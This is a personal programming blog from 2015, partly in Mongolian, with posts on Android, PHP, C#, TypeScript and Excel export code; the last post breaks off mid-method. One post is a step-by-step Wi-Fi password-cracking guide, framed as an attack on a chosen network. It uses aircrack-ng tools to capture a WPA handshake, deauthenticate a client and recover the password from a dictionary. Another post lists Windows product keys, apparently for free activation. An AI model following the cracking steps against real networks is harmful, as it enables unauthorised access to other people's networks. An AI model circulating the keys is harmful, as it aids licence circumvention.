Sunday, April 26, 2015

standard SearchView in Action Bar android

@Override
    protected void onCreate(Bundle savedInstanceState) {
        requestWindowFeature(Window.FEATURE_ACTION_BAR);
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        if (savedInstanceState == null) {
            App.config.init(R.xml.app_config);

            //initActionBarCommands();
            //historySet(new HomeFragment(), R.id.frame_container, null);
        }
    }

    @Override
    public boolean onCreateOptionsMenu(Menu menu) {
        // Inflate the menu; this adds items to the action bar if it is present.
        getMenuInflater().inflate(R.menu.menu_main, menu);

        MenuItem searchItem = menu.findItem(R.id.action_search);

        SearchManager searchManager = (SearchManager) getSystemService(Context.SEARCH_SERVICE);

        SearchView searchView = (SearchView) MenuItemCompat.getActionView(searchItem);
        ComponentName componentName = new ComponentName(getApplicationContext(), SearchResultsActivity.class);
        SearchableInfo searchableInfo = searchManager.getSearchableInfo(componentName);
        if (searchView != null) {
            searchView.setSearchableInfo(searchableInfo);
        }

        return true;
    }


in xml/searchable.xml


<?xml version="1.0" encoding="utf-8"?>
<searchable xmlns:android="http://schemas.android.com/apk/res/android"
    android:label="@string/app_name"
    android:hint="@string/hint_search"
    android:includeInGlobalSearch="false"/>


in AndroidManifect.xml


<activity
            android:name=".MainActivity"
            android:label="@string/app_name">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />

                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
        <activity android:name=".SearchResultsActivity" android:launchMode="singleTop">
            <intent-filter>
                <action android:name="android.intent.action.SEARCH" />
            </intent-filter>
            <meta-data
                android:name="android.app.searchable"
                android:resource="@xml/searchable"
                android:value=".SearchResultActivity" />

        </activity>

Thursday, April 23, 2015

WPA/WPA2 CRACKING WITH AIRCRACK /KALI LINUX/

1. TERMINAL дээр airmon-ng start wlan0   гэж бичнэ.   

Харагдах байдал.  <a></a><a>http://s21.postimg.org/53t5tbfdz/image.jpg</a>

2. airodump-ng mon0 гэж бичнэ.

За нэг иймэрхүү харагдана.   <a>http://s24.postimg.org/s3cdprg0l/image.jpg</a>


3. Гарч ирсэн жагсаалт дотроос дайралт хийх утасгүй интернэтээ сонгож коммандаа бичнэ.

Жишээ нь 2 дахь дээр байгаа зургийн эхний утасгүй интернэт рүү дайръя гэвэл 

airodump-ng --channel 5 --write output --bssid 00:24:B2:A0:51:14 mon0  гэж бичнэ.

Нэмэлт тайлбар:

Эхлэл заавал airodump-ng байх ёстой.

2-рт --channel гэж бичээд араас нь  CH гэсний доод талын тоог залгаж бичнэ.

3-рт заавал  --write output гэж байна.

4-рт --bssid гэж бичээд BSSID гэсний доод талыг зай авж бичнэ.

5-рт  заавал mon0 гэж байна.

4. Өөр нэг TERMINAL нээж aireplay-ng --deauth 1 -a 00:24:B2:A0:51:14 -c 00:12:17:94:90:0D mon0 гэж бичнэ.

Нэмэлт тайлбар:

Эхлээд заавал aireplay-ng --deauth 1 гэж байна.

2-рт  -a гэж бичээд BSSID-аа зай авч бичнэ.

3-рт -c гэж бичээп араас нь 2-р зураг дээр байгаагийн STATION гэсний кодыг бичнэ.

4-рт заавал mon0 байна.

5. Уншиж дууссаны дараа WPA HANDSHAKE гэсэн бичиг гарч байвал бүх зүйл хэвийн үргэлжилж байна гэсэн үг.  Харагдах байдал: <a></a><a>http://s22.postimg.org/82coo6rbl/image.jpg</a>
<a>
</a>
<a>6. Одоо үргэлжлүүлээд шууд </a>aircrack-ng output-01.cap -w /root/tools/dictionaries/webster-dictionary.txt гэсэн комманд өгнө. Уншиж дууссаны дараа утасгүй интернэтийн нууц үг гарч илэрсэн болно.

amazing codeigntier functions

<?php

define('FILE_READ_MODE', 0644);
define('FILE_WRITE_MODE', 0666);
define('DIR_READ_MODE', 0755);
define('DIR_WRITE_MODE', 0777);

define('FOPEN_READ', 'rb');
define('FOPEN_READ_WRITE', 'r+b');
define('FOPEN_WRITE_CREATE_DESTRUCTIVE', 'wb'); // truncates existing file data, use with care
define('FOPEN_READ_WRITE_CREATE_DESTRUCTIVE', 'w+b'); // truncates existing file data, use with care
define('FOPEN_WRITE_CREATE', 'ab');
define('FOPEN_READ_WRITE_CREATE', 'a+b');
define('FOPEN_WRITE_CREATE_STRICT', 'xb');
define('FOPEN_READ_WRITE_CREATE_STRICT', 'x+b');

define('IS_AJAX', isset($_SERVER['HTTP_X_REQUESTED_WITH']) && strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) == 'xmlhttprequest');
define('CHARSET', 'UTF-8');
define('CHARSET_NAMES', 'utf8');
define('CHARSET_COLLATION', 'utf8_general_ci');

//////////////////////////////////////////////////////////////////////////////

if (isset($_SERVER['HTTP_HOST'])) {
    if (
            (strpos($_SERVER['HTTP_HOST'], '.') === FALSE) || //from my computer
            (substr($_SERVER['HTTP_HOST'], 0, 8) === '192.168.') || //from private ip address
            ($_SERVER['HTTP_HOST'] === '127.0.0.1') || //from localhost
            ($_SERVER['HTTP_HOST'] === '10.0.2.2') //from android emulator
    ) {
        $user = "root";
        $pass = "";
        $db = "center_test";
    }
}

$base_url = 'http://localhost/';
if (isset($_SERVER['HTTP_HOST'])) {
    $base_url = isset($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off' ? 'https' : 'http';
    $base_url .= '://' . $_SERVER['HTTP_HOST'];
    $base_url .= str_replace(basename($_SERVER['SCRIPT_NAME']), '', $_SERVER['SCRIPT_NAME']);
}
$base_path = str_replace(basename($_SERVER['SCRIPT_NAME']), '', $_SERVER['SCRIPT_NAME']);

date_default_timezone_set('UTC');

//////////////////////////////////////////////////////////////////////////////
if (!function_exists('escape_date')) {

    function escape_date($str) {
        $timestamp = strtotime($str);
        return date("Y-m-d H:i:s", $timestamp);
    }

}

if (!function_exists('utf8_header')) {

    function utf8_header($type = 'text/html') {
        header('Content-Type: ' . $type . '; charset=utf-8');
    }

}

// ---------------------------------------------------------------------------

if (!function_exists('server_var')) {

    function server_var($id) {
        return isset($_SERVER[$id]) ? $_SERVER[$id] : '';
    }

}

if (!function_exists('is_post')) {

    function is_post() {
        return server_var('REQUEST_METHOD') == 'POST';
    }

}

if (!function_exists('is_get')) {

    function is_get() {
        return server_var('REQUEST_METHOD') == 'GET';
    }

}

// ---------------------------------------------------------------------------
if (!function_exists('debug_log')) {

    function debug_log($msg) {
        $filepath = 'log-' . date('Y-m-d') . '.php';
        $message = (' - ' . date('Y-m-d H:i:s') . ' --> ' . $msg . "\n");

        if (!$fp = @fopen($filepath, FOPEN_WRITE_CREATE)) {
            return FALSE;
        }

        flock($fp, LOCK_EX);
        fwrite($fp, $message);
        flock($fp, LOCK_UN);
        fclose($fp);

        @chmod($filepath, FILE_WRITE_MODE);
    }

}

if (!function_exists('escape_str')) {

    function escape_str($str, $like = FALSE) {
        if (is_array($str)) {
            foreach ($str as $key => $val) {
                $str[$key] = escape_str($val, $like);
            }

            return $str;
        }

        if (function_exists('mysql_escape_string')) {
            $str = mysql_escape_string($str);
        } else {
            $str = addslashes($str);
        }

        // escape LIKE condition wildcards
        if ($like === TRUE) {
            $str = str_replace(array('%', '_'), array('\\%', '\\_'), $str);
        }

        return $str;
    }

}

if (!function_exists('html_escape')) {

    function html_escape($var) {
        if (is_array($var)) {
            return array_map('html_escape', $var);
        } else {
            return htmlspecialchars($var, ENT_QUOTES, CHARSET);
        }
    }

}

Wednesday, April 22, 2015

windows 8 product key list

HERE THE CODE FOR YOU--------------------------------------------------------------------------------------->Windows 8 (core): FB4WR-32NVD-4RW79-XQFWH-CYQG3
Windows 8 Pro: XKY4K-2NRWR-8F6P2-448RF-CRYQH
Windows 8 Pro with Media Center: RR3BN-3YY9P-9D7FC
-7J4YF-QGJXW

Windows 8.1 (core): 334NH-RXG76-64THK-C7CKG-D3VPT
Windows 8.1 Pro: XHQ8N-C3MCJ-RQXB6-WCHYG-C9WKB
Windows 8.1 Pro with Media Center: GBFNG-2X3TC-8R27F-RMKYB-JK7QT
Windows 8.1 Enterprise: MNDGV-M6PKV-DV4DR-CYY8X-2YRXH "OR" FHQNR-XYXYC-8PMHT-TV4PH-DRQ3H

Thursday, April 16, 2015

How to send an xml from a c# desktop application to a php server script and parse it?

c#

public partial class frmSending : Form
    {
        public frmSending(string url, string file, XmlDocument xml)
        {
            InitializeComponent();

            this.Url = url;
            this.XmlFile = file;
            this.Xml = xml;
            this.Sent += frmSending_Sent;
        }

        void frmSending_Sent(object sender, EventArgs e)
        {
            if (this.Ex != null)
            {
                MessageBox.Show(Ex.Message, "Алдаа", MessageBoxButtons.OK, MessageBoxIcon.Warning);
            }
            else
            {
                MessageBox.Show("Амжилттай илгээлээ!", "Мэдэгдэл", MessageBoxButtons.OK, MessageBoxIcon.Information);
            }
            this.Close();
        }

        protected override void OnLoad(EventArgs e)
        {
            base.OnLoad(e);

            thread = new Thread(post_to_internet);
            thread.Start();
        }

        private void post_to_internet()
        {
            try
            {
                HttpWebRequest request = (HttpWebRequest)WebRequest.Create(Url);
                request.Method = "POST";
                request.ContentType = "application/xml";
                request.Accept = "application/xml";

                StringWriter stringWriter = new StringWriter();
                XmlTextWriter xmlTextWriter = new XmlTextWriter(stringWriter);
                Xml.WriteTo(xmlTextWriter);
                byte[] bytes = Encoding.UTF8.GetBytes(stringWriter.ToString());

                request.ContentLength = bytes.Length;

                using (Stream putStream = request.GetRequestStream())
                {
                    putStream.Write(bytes, 0, bytes.Length);
                }

                // Log the response from Redmine RESTful service
                using (HttpWebResponse response = (HttpWebResponse)request.GetResponse())
                using (StreamReader reader = new StreamReader(response.GetResponseStream()))
                {
                    this.Invoke(Sent, new object[] { reader.ReadLine(), EventArgs.Empty });
                }

                //using (WebClient request = new WebClient())
                //{
                //    request.UploadFile(Url, "POST", XmlFile);
                //}
            }
            catch (Exception ex)
            {
                this.Ex = ex;
                this.Invoke(Sent, new object[] { ex, EventArgs.Empty });
            }
        }

        public string Url { get; set; }
        public string XmlFile { get; set; }
        public XmlDocument Xml { get; set; }
        private Thread thread { get; set; }
        private event EventHandler Sent;
        public Exception Ex { get; set; }

        private void frmSending_KeyDown(object sender, KeyEventArgs e)
        {
            if (e.KeyCode == Keys.Escape || e.KeyCode == Keys.F1)
            {
                thread.Abort();
            }
        }
    }
<?php

include "db.config.php";
debug_log('uploaded ' . $fp);
$fp = fopen('php://input', 'rb');
file_put_contents('report.xml', $fp);

//$upload = isset($_FILES) ? reset($_FILES) : null;
//debug_log('uploaded ' . $upload['tmp_name']);
//move_uploaded_file($upload['tmp_name'], $upload['name']);
afterwards the file test.dat on the server contains
<?xml version="1.0" encoding="utf-8"?>
<Foo>
  <bar>
    <type>System.String</type>
    <value>Stackoverflow</value>
  </bar>
  <bar>
    <type>System.Boolean</type>
    <value>True</value>
  </bar>
  <bar>
    <type>System.Char</type>
    <value>x</value>
  </bar>
  <bar>
    <type>System.Int32</type>
    <value>42</value>
  </bar>
</Foo>

php SimpleXMLElement tutorial

<?php
$xmlString = '<?xml version="1.0" encoding="utf-8"?>
<Foo>
  <bar>
    <type>System.String</type>
    <value>Stackoverflow</value>
  </bar>
  <bar>
    <type>System.Boolean</type>
    <value>True</value>
  </bar>
  <bar>
    <type>System.Char</type>
    <value>x</value>
  </bar>
  <bar>
    <type>System.Int32</type>
    <value>42</value>
  </bar>
</Foo>';
//header('Content-Type: application/xml');
//echo $xmlString;exit;

$xml = new SimpleXMLElement($xmlString);
foreach ($xml->bar as $element) {
echo $element->type."<br>";
echo $element->value."<br>";
// or...........
//foreach($element as $key => $val) {
//echo "{$key}: {$val}<br>";
//}
}
?>

Wednesday, April 15, 2015

set system variables using c#

using System;

public class Example
{
   public static void Main()
   {
      String envName = "AppDomain";
      String envValue = "True";

      // Determine whether the environment variable exists. 
      if (Environment.GetEnvironmentVariable(envName) == null)
         // If it doesn't exist, create it.
         Environment.SetEnvironmentVariable(envName, envValue);

      bool createAppDomain;
      Message msg;
      if (Boolean.TryParse(Environment.GetEnvironmentVariable(envName),
                          out createAppDomain) && createAppDomain) {
         AppDomain domain = AppDomain.CreateDomain("Domain2");
         msg = (Message) domain.CreateInstanceAndUnwrap(typeof(Example).Assembly.FullName, 
                                                        "Message");
         msg.Display();                                             
      }                                  
      else {
         msg = new Message();
         msg.Display();   
      }     
   }
}

public class Message : MarshalByRefObject
{
   public void Display()
   {
      Console.WriteLine("Executing in domain {0}", 
                        AppDomain.CurrentDomain.FriendlyName);
   }
}

TypeScript vs ProtoType syntax

Inheritance


class Animal {
    constructor(public name: string) { }
    move(meters: number) {
        alert(this.name + " moved " + meters + "m.");
    }
}

class Snake extends Animal {
    constructor(name: string) { super(name); }
    move() {
        alert("Slithering...");
        super.move(5);
    }
}

class Horse extends Animal {
    constructor(name: string) { super(name); }
    move() {
        alert("Galloping...");
        super.move(45);
    }
}

var sam = new Snake("Sammy the Python");
var tom: Animal = new Horse("Tommy the Palomino");

sam.move();
tom.move(34);


TO JS


var __extends = this.__extends || function (d, b) {
    for (var p in b) if (b.hasOwnProperty(p)) d[p] = b[p];
    function __() { this.constructor = d; }
    __.prototype = b.prototype;
    d.prototype = new __();
};
var Animal = (function () {
    function Animal(name) {
        this.name = name;
    }
    Animal.prototype.move = function (meters) {
        alert(this.name + " moved " + meters + "m.");
    };
    return Animal;
})();
var Snake = (function (_super) {
    __extends(Snake, _super);
    function Snake(name) {
        _super.call(this, name);
    }
    Snake.prototype.move = function () {
        alert("Slithering...");
        _super.prototype.move.call(this, 5);
    };
    return Snake;
})(Animal);
var Horse = (function (_super) {
    __extends(Horse, _super);
    function Horse(name) {
        _super.call(this, name);
    }
    Horse.prototype.move = function () {
        alert("Galloping...");
        _super.prototype.move.call(this, 45);
    };
    return Horse;
})(Animal);
var sam = new Snake("Sammy the Python");
var tom = new Horse("Tommy the Palomino");
sam.move();

tom.move(34);


Generics


class Greeter<T> {
    greeting: T;
    constructor(message: T) {
        this.greeting = message;
    }
    greet() {
        return this.greeting;
    }
}

var greeter = new Greeter<string>("Hello, world");

var button = document.createElement('button');
button.textContent = "Say Hello";
button.onclick = function () {
    alert(greeter.greet());
}

document.body.appendChild(button);


TO JS


var Greeter = (function () {
    function Greeter(message) {
        this.greeting = message;
    }
    Greeter.prototype.greet = function () {
        return this.greeting;
    };
    return Greeter;
})();
var greeter = new Greeter("Hello, world");
var button = document.createElement('button');
button.textContent = "Say Hello";
button.onclick = function () {
    alert(greeter.greet());
};
document.body.appendChild(button);


Modules


module Sayings {
    export class Greeter {
        greeting: string;
        constructor(message: string) {
            this.greeting = message;
        }
        greet() {
            return "Hello, " + this.greeting;
        }
    }
}
var greeter = new Sayings.Greeter("world");

var button = document.createElement('button');
button.textContent = "Say Hello";
button.onclick = function() {
    alert(greeter.greet());
};

document.body.appendChild(button);


TO JS


var Sayings;
(function (Sayings) {
    var Greeter = (function () {
        function Greeter(message) {
            this.greeting = message;
        }
        Greeter.prototype.greet = function () {
            return "Hello, " + this.greeting;
        };
        return Greeter;
    })();
    Sayings.Greeter = Greeter;
})(Sayings || (Sayings = {}));
var greeter = new Sayings.Greeter("world");
var button = document.createElement('button');
button.textContent = "Say Hello";
button.onclick = function () {
    alert(greeter.greet());
};
document.body.appendChild(button);


New Features


type NameOrNameArray = string | string[];

function createName(name: NameOrNameArray) {
    if (typeof name === "string") {
        return name;
    }
    else {
        return name.join(" ");
    }
}

var greetingMessage = `Greetings, ${createName(["Sam", "Smith"]) }`;
alert(greetingMessage);


TO JS


function createName(name) {
    if (typeof name === "string") {
        return name;
    }
    else {
        return name.join(" ");
    }
}
var greetingMessage = "Greetings, " + createName(["Sam", "Smith"]);
alert(greetingMessage);


examples for all


class Vector {

    constructor(public x: number, public y: number, public z: number) { }

    static times(k: number, v: Vector) {
        return new Vector(k * v.x, k * v.y, k * v.z);
    }

    static minus(v1: Vector, v2: Vector) {
        return new Vector(v1.x - v2.x, v1.y - v2.y, v1.z - v2.z);
    }

    static plus(v1: Vector, v2: Vector) {
        return new Vector(v1.x + v2.x, v1.y + v2.y, v1.z + v2.z);
    }

    static dot(v1: Vector, v2: Vector) {
        return v1.x * v2.x + v1.y * v2.y + v1.z * v2.z;
    }

    static mag(v: Vector) {
        return Math.sqrt(v.x * v.x + v.y * v.y + v.z * v.z);
    }

    static norm(v: Vector) {
        var mag = Vector.mag(v);
        var div = (mag === 0) ? Infinity : 1.0 / mag;
        return Vector.times(div, v);
    }

    static cross(v1: Vector, v2: Vector) {
        return new Vector(v1.y * v2.z - v1.z * v2.y,
                          v1.z * v2.x - v1.x * v2.z,
                          v1.x * v2.y - v1.y * v2.x);
    }

}

class Color {

    constructor(public r: number, public g: number, public b: number) { }

    static scale(k: number, v: Color) {
        return new Color(k * v.r, k * v.g, k * v.b);
    }

    static plus(v1: Color, v2: Color) {
        return new Color(v1.r + v2.r, v1.g + v2.g, v1.b + v2.b);
    }

    static times(v1: Color, v2: Color) {
        return new Color(v1.r * v2.r, v1.g * v2.g, v1.b * v2.b);
    }

    static white = new Color(1.0, 1.0, 1.0);
    static grey = new Color(0.5, 0.5, 0.5);
    static black = new Color(0.0, 0.0, 0.0);
    static background = Color.black;
    static defaultColor = Color.black;

    static toDrawingColor(c: Color) {
        var legalize = d => d > 1 ? 1 : d;
        return {
            r: Math.floor(legalize(c.r) * 255),
            g: Math.floor(legalize(c.g) * 255),
            b: Math.floor(legalize(c.b) * 255)
        }
    }

}

class Camera {

    forward: Vector;
    right: Vector;
    up: Vector;

    constructor(public pos: Vector, lookAt: Vector) {
        var down = new Vector(0.0, -1.0, 0.0);
        this.forward = Vector.norm(Vector.minus(lookAt, this.pos));
        this.right = Vector.times(1.5, Vector.norm(Vector.cross(this.forward, down)));
        this.up = Vector.times(1.5, Vector.norm(Vector.cross(this.forward, this.right)));
    }

}

interface Ray {
    start: Vector;
    dir: Vector;
}

interface Intersection {
    thing: Thing;
    ray: Ray;
    dist: number;
}

interface Surface {
    diffuse: (pos: Vector) => Color;
    specular: (pos: Vector) => Color;
    reflect: (pos: Vector) => number;
    roughness: number;
}

interface Thing {
    intersect: (ray: Ray) => Intersection;
    normal: (pos: Vector) => Vector;
    surface: Surface;
}

interface Light {
    pos: Vector;
    color: Color;
}

interface Scene {
    things: Thing[];
    lights: Light[];
    camera: Camera;
}

class Sphere implements Thing {

    radius2: number;

    constructor(public center: Vector, radius: number, public surface: Surface) {
        this.radius2 = radius * radius;
    }

    normal(pos: Vector): Vector {
        return Vector.norm(Vector.minus(pos, this.center));
    }

    intersect(ray: Ray) {
        var eo = Vector.minus(this.center, ray.start);
        var v = Vector.dot(eo, ray.dir);
        var dist = 0;
        if (v >= 0) {
            var disc = this.radius2 - (Vector.dot(eo, eo) - v * v);
            if (disc >= 0) {
                dist = v - Math.sqrt(disc);
            }
        }
        if (dist === 0) {
            return null;
        } else {
            return { thing: this, ray: ray, dist: dist };
        }
    }

}

class Plane implements Thing {

    normal: (pos: Vector) => Vector;
    intersect: (ray: Ray) => Intersection;

    constructor(norm: Vector, offset: number, public surface: Surface) {
        this.normal = function(pos: Vector) { return norm; }
        this.intersect = function(ray: Ray): Intersection {
            var denom = Vector.dot(norm, ray.dir);
            if (denom > 0) {
                return null;
            } else {
                var dist = (Vector.dot(norm, ray.start) + offset) / (-denom);
                return { thing: this, ray: ray, dist: dist };
            }
        }
    }

}

module Surfaces {

    export var shiny: Surface = {
        diffuse: function(pos) { return Color.white; },
        specular: function(pos) { return Color.grey; },
        reflect: function(pos) { return 0.7; },
        roughness: 250
    }

    export var checkerboard: Surface = {
        diffuse: function(pos) {
            if ((Math.floor(pos.z) + Math.floor(pos.x)) % 2 !== 0) {
                return Color.white;
            } else {
                return Color.black;
            }
        },
        specular: function(pos) { return Color.white; },
        reflect: function(pos) {
            if ((Math.floor(pos.z) + Math.floor(pos.x)) % 2 !== 0) {
                return 0.1;
            } else {
                return 0.7;
            }
        },
        roughness: 150
    }

}


class RayTracer {

    private maxDepth = 5;

    private intersections(ray: Ray, scene: Scene) {
        var closest = +Infinity;
        var closestInter: Intersection = undefined;
        for (var i in scene.things) {
            var inter = scene.things[i].intersect(ray);
            if (inter != null && inter.dist < closest) {
                closestInter = inter;
                closest = inter.dist;
            }
        }
        return closestInter;
    }

    private testRay(ray: Ray, scene: Scene) {
        var isect = this.intersections(ray, scene);
        if (isect != null) {
            return isect.dist;
        } else {
            return undefined;
        }
    }

    private traceRay(ray: Ray, scene: Scene, depth: number): Color {
        var isect = this.intersections(ray, scene);
        if (isect === undefined) {
            return Color.background;
        } else {
            return this.shade(isect, scene, depth);
        }
    }

    private shade(isect: Intersection, scene: Scene, depth: number) {
        var d = isect.ray.dir;
        var pos = Vector.plus(Vector.times(isect.dist, d), isect.ray.start);
        var normal = isect.thing.normal(pos);
        var reflectDir = Vector.minus(d, Vector.times(2, Vector.times(Vector.dot(normal, d), normal)));
        var naturalColor = Color.plus(Color.background,
                                      this.getNaturalColor(isect.thing, pos, normal, reflectDir, scene));
        var reflectedColor = (depth >= this.maxDepth) ? Color.grey : this.getReflectionColor(isect.thing, pos, normal, reflectDir, scene, depth);
        return Color.plus(naturalColor, reflectedColor);
    }

    private getReflectionColor(thing: Thing, pos: Vector, normal: Vector, rd: Vector, scene: Scene, depth: number) {
        return Color.scale(thing.surface.reflect(pos), this.traceRay({ start: pos, dir: rd }, scene, depth + 1));
    }

    private getNaturalColor(thing: Thing, pos: Vector, norm: Vector, rd: Vector, scene: Scene) {
        var addLight = (col, light) => {
            var ldis = Vector.minus(light.pos, pos);
            var livec = Vector.norm(ldis);
            var neatIsect = this.testRay({ start: pos, dir: livec }, scene);
            var isInShadow = (neatIsect === undefined) ? false : (neatIsect <= Vector.mag(ldis));
            if (isInShadow) {
                return col;
            } else {
                var illum = Vector.dot(livec, norm);
                var lcolor = (illum > 0) ? Color.scale(illum, light.color)
                                          : Color.defaultColor;
                var specular = Vector.dot(livec, Vector.norm(rd));
                var scolor = (specular > 0) ? Color.scale(Math.pow(specular, thing.surface.roughness), light.color)
                                          : Color.defaultColor;
                return Color.plus(col, Color.plus(Color.times(thing.surface.diffuse(pos), lcolor),
                                                  Color.times(thing.surface.specular(pos), scolor)));
            }
        }
        return scene.lights.reduce(addLight, Color.defaultColor);
    }

    render(scene, ctx, screenWidth, screenHeight) {
        var getPoint = (x, y, camera) => {
            var recenterX = x => (x - (screenWidth / 2.0)) / 2.0 / screenWidth;
            var recenterY = y => -(y - (screenHeight / 2.0)) / 2.0 / screenHeight;
            return Vector.norm(Vector.plus(camera.forward, Vector.plus(Vector.times(recenterX(x), camera.right), Vector.times(recenterY(y), camera.up))));
        }
        for (var y = 0; y < screenHeight; y++) {
            for (var x = 0; x < screenWidth; x++) {
                var color = this.traceRay({ start: scene.camera.pos, dir: getPoint(x, y, scene.camera) }, scene, 0);
                var c = Color.toDrawingColor(color);
                ctx.fillStyle = "rgb(" + String(c.r) + ", " + String(c.g) + ", " + String(c.b) + ")";
                ctx.fillRect(x, y, x + 1, y + 1);
            }
        }
    }

}


function defaultScene(): Scene {
    return {
        things: [new Plane(new Vector(0.0, 1.0, 0.0), 0.0, Surfaces.checkerboard),
                 new Sphere(new Vector(0.0, 1.0, -0.25), 1.0, Surfaces.shiny),
                 new Sphere(new Vector(-1.0, 0.5, 1.5), 0.5, Surfaces.shiny)],
        lights: [{ pos: new Vector(-2.0, 2.5, 0.0), color: new Color(0.49, 0.07, 0.07) },
                 { pos: new Vector(1.5, 2.5, 1.5), color: new Color(0.07, 0.07, 0.49) },
                 { pos: new Vector(1.5, 2.5, -1.5), color: new Color(0.07, 0.49, 0.071) },
                 { pos: new Vector(0.0, 3.5, 0.0), color: new Color(0.21, 0.21, 0.35) }],
        camera: new Camera(new Vector(3.0, 2.0, 4.0), new Vector(-1.0, 0.5, 0.0))
    };
}

function exec() {
    var canv = document.createElement("canvas");
    canv.width = 256;
    canv.height = 256;
    document.body.appendChild(canv);
    var ctx = canv.getContext("2d");
    var rayTracer = new RayTracer();
    return rayTracer.render(defaultScene(), ctx, 256, 256);
}

exec();

Saturday, April 11, 2015

c# ExcelExport from gridview or dataset

using System;
using System.Collections.Generic;
using System.Text;
using System.Windows.Forms;
using System.Data;
using System.Diagnostics;
using System.Drawing;
using DevExpress.XtraGrid;
using DevExpress.XtraGrid.Views.Grid;
using DevExpress.XtraGrid.Columns;

namespace HiimelOyun.App.Lib.Utils.Export
{
    public class ExcelExport
    {
        public static void toExcel(string filename, Control control)
        {
            if (control is GridControl)
            {
                GridView gridView = (GridView)((GridControl)control).MainView;
                toExcel(filename, gridView, null);
            }
            else if (control is ListView)
            {
                toExcel(filename, (ListView)control, null);
            }
        }

        public static void toExcel(string filename, GridView gridView, DataSet ds)
        {
            int row = 1;
            int col = 1;
            int tableIndex = 0;
            int colLength = 0;

            Microsoft.Office.Interop.Excel.Application xlApp;
            Microsoft.Office.Interop.Excel.Workbook xlWorkBook;
            Microsoft.Office.Interop.Excel.Worksheet xlWorkSheet = null;
            Microsoft.Office.Interop.Excel.Range Cel = null;
            object misValue = System.Reflection.Missing.Value;

            xlApp = new Microsoft.Office.Interop.Excel.Application();
            xlWorkBook = xlApp.Workbooks.Add(misValue);

            if (ds == null)
            {
                xlWorkSheet = (Microsoft.Office.Interop.Excel.Worksheet)xlWorkBook.Worksheets.get_Item(tableIndex + 1);

                colLength = gridView.Columns.Count;
                GridColumn column = null;
                for (int i = 0; i < gridView.DataRowCount; i++)
                {
                    if (row == 2) i = 0;
                    object item = gridView.GetRow(i);
                    for (col = 1; col <= colLength; )
                    {
                        column = gridView.Columns[col - 1];
                        if (row == 1)
                        {
                            xlWorkSheet.Cells[row, col] = "" + column.Caption;

                            Cel = (Microsoft.Office.Interop.Excel.Range)xlWorkSheet.Cells[row, col];
                            Cel.BorderAround(Microsoft.Office.Interop.Excel.XlLineStyle.xlContinuous
                                , Microsoft.Office.Interop.Excel.XlBorderWeight.xlThin
                                , Microsoft.Office.Interop.Excel.XlColorIndex.xlColorIndexAutomatic
                                , 1);
                            Cel.Interior.Color = ColorTranslator.ToOle(Color.Silver);
                            Cel.Font.Color = ColorTranslator.ToOle(Color.Black);
                            Cel.Font.Bold = true;
                            Cel.ColumnWidth = column.Width / 4.5;
                        }
                        else
                        {
                            try
                            {
                                xlWorkSheet.Cells[row, col] = "" + AppUtil.GetPropertyValue(item, column.FieldName);
                            }
                            catch { }
                        }
                        col++;
                    }
                    row++;
                }
            }
            else
                for (tableIndex = 0; tableIndex < ds.Tables.Count; tableIndex++)
                {
                    DataTable dt = ds.Tables[tableIndex];
                    xlWorkSheet = (Microsoft.Office.Interop.Excel.Worksheet)xlWorkBook.Worksheets.get_Item(tableIndex + 1);

                    if (gridView != null && gridView.Columns.Count > 0)
                    {
                        colLength = gridView.Columns.Count;
                        GridColumn column = null;
                        for (int i = 0; i < gridView.DataRowCount; i++)
                        {
                            if (row == 2) i = 0;
                            DataRow dr = dt.Rows[i];
                            for (col = 1; col <= colLength; )
                            {
                                column = gridView.Columns[col - 1];
                                if (row == 1)
                                {
                                    xlWorkSheet.Cells[row, col] = "" + column.Caption;

                                    Cel = (Microsoft.Office.Interop.Excel.Range)xlWorkSheet.Cells[row, col];
                                    Cel.BorderAround(Microsoft.Office.Interop.Excel.XlLineStyle.xlContinuous
                                        , Microsoft.Office.Interop.Excel.XlBorderWeight.xlThin
                                        , Microsoft.Office.Interop.Excel.XlColorIndex.xlColorIndexAutomatic
                                        , 1);
                                    Cel.Interior.Color = ColorTranslator.ToOle(Color.Silver);
                                    Cel.Font.Color = ColorTranslator.ToOle(Color.Black);
                                    Cel.Font.Bold = true;
                                    Cel.ColumnWidth = ("" + column.Caption).Length * 4.5;
                                }
                                else
                                {
                                    xlWorkSheet.Cells[row, col] = "" + dr[column.FieldName];
                                }
                                col++;
                            }
                            row++;
                        }
                    }
                    else
                    {
                        colLength = dt.Columns.Count;
                        DataColumn column = null;
                        for (int i = 0; i < dt.Rows.Count; i++)
                        {
                            if (row == 2) i = 0;
                            DataRow dr = dt.Rows[i];
                            for (col = 1; col <= colLength; )
                            {
                                column = dt.Columns[col - 1];
                                if (row == 1)
                                {
                                    xlWorkSheet.Cells[row, col] = "" + column.ColumnName;

                                    Cel = (Microsoft.Office.Interop.Excel.Range)xlWorkSheet.Cells[row, col];
                                    Cel.BorderAround(Microsoft.Office.Interop.Excel.XlLineStyle.xlContinuous
                                        , Microsoft.Office.Interop.Excel.XlBorderWeight.xlThin
                                        , Microsoft.Office.Interop.Excel.XlColorIndex.xlColorIndexAutomatic
                                        , 1);
                                    Cel.Interior.Color = ColorTranslator.ToOle(Color.Silver);
                                    Cel.Font.Color = ColorTranslator.ToOle(Color.Black);
                                    Cel.Font.Bold = true;
                                    Cel.ColumnWidth = ("" + column.ColumnName).Length * 4.5;
                                }
                                else
                                {
                                    xlWorkSheet.Cells[row, col] = "" + dr[column.ColumnName];
                                }
                                col++;
                            }
                            row++;
                        }
                    }
                }

            xlWorkBook.SaveAs(filename
                , Microsoft.Office.Interop.Excel.XlFileFormat.xlWorkbookNormal
                , misValue, misValue, misValue, misValue
                , Microsoft.Office.Interop.Excel.XlSaveAsAccessMode.xlExclusive
                , misValue, misValue, misValue, misValue, misValue);
            xlWorkBook.Close(true, misValue, misValue);
            xlApp.Quit();

            releaseObject(xlWorkSheet);
            releaseObject(xlWorkBook);
            releaseObject(xlApp);

            Process p;
            ProcessStartInfo pInfo;
            try
            {
                pInfo = new ProcessStartInfo();
                pInfo.Verb = "open";
                pInfo.FileName = filename;
                pInfo.UseShellExecute = true;
                pInfo.WindowStyle = ProcessWindowStyle.Maximized;

                p = Process.Start(pInfo);
            }
            catch { }
        }

        public static void toExcel(string filename, ListView listView, DataSet ds)
        {
            int row = 1;
            int col = 1;
            int tableIndex = 0;
            int colLength = 0;
           
